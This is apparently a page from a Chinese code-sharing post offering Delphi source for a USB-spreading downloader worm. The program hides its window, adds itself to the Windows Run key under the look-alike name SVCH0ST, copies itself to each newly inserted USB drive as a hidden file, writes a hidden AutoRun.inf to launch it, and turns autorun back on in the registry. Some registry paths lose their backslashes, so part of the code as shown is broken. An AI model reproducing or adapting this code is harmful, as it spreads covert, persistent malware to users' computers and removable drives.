下载者U盘传染源码

procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
var
     lpdb : PDEV_BROADCAST_HDR;
     lpdbv : PDEV_BROADCAST_VOLUME;
     unitmask:DWORD;
     i:integer;
     MyIni:TIniFile;
     s:Hkey;
     value:dword ;
     inifile:string;
begin
     lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
     case Msg.WParam of
     DBT_DEVICEARRIVAL ://有设备安装完毕


     if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
     begin
         lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
         unitmask:=lpdbv.dbcv_unitmask;//取得设备的盘符
         for i:=0 to 25 do //遍历磁盘
         begin
             if Boolean(unitmask and $1)then//看该驱动器的状态是否发生了变化
             break;
             unitmask := unitmask shr 1;
         end;
         if fileexists(exefull) then     //向u盘拷文件
         begin
         copyfile(PChar(exefull),Pchar(char(i+65) + ':\' + exefile),false);
         FileSetAttr(char(i+65) + ':' + exefile,$00000003);
         end;
         inifile:=char(i+65)+':AutoRun.inf';//ini文件
         RegOpenKeyEx(HKEY_CURRENT_USER, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer', 0, KEY_ALL_ACCESS, s);
         value:=0;
         RegSetValueEx(s,'NoDriveTypeAutoRun',0, REG_DWORD,@value, sizeof(value));
         RegCloseKey(s);
         if fileexists(inifile) then
         begin
         FileSetAttr(inifile,$00000000);
         DeleteFile(inifile);
         end;
         MyIni := TIniFile.Create(inifile);
         MyIni.WriteString('AutoRun', 'open',exefile);
         FileSetAttr(inifile,$00000003);
     end;
    end;
end;


procedure TFrm_Main.FormCreate(Sender: TObject);
var
s:hkey;
value:array[0..255]of char;
size:cardinal;
path:array[0..255] of char;
begin
     Application.ShowMainForm:=False;
     getsystemdirectory(path,120);
     exefull := strpas(path) + '' + exefile;
     size:=256;
     RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun',0,KEY_ALL_ACCESS,s);
     RegQueryValueEx(s,'SVCH0ST',nil,nil,@value,@size);
     RegCloseKey(s);
     //文件存在且有自启动
     if fileexists('C:WINDOWSsystem32SVCH0ST.EXE') and (UpperCase(value) = UpperCase(exefull)) then
     messagebox(0,'自启动成功！','成功',MB_OK)
     else
     Startup(exefull);//下载执行函数
end;


procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
     Application.Terminate;
end;


end.

上一页  [1] [2]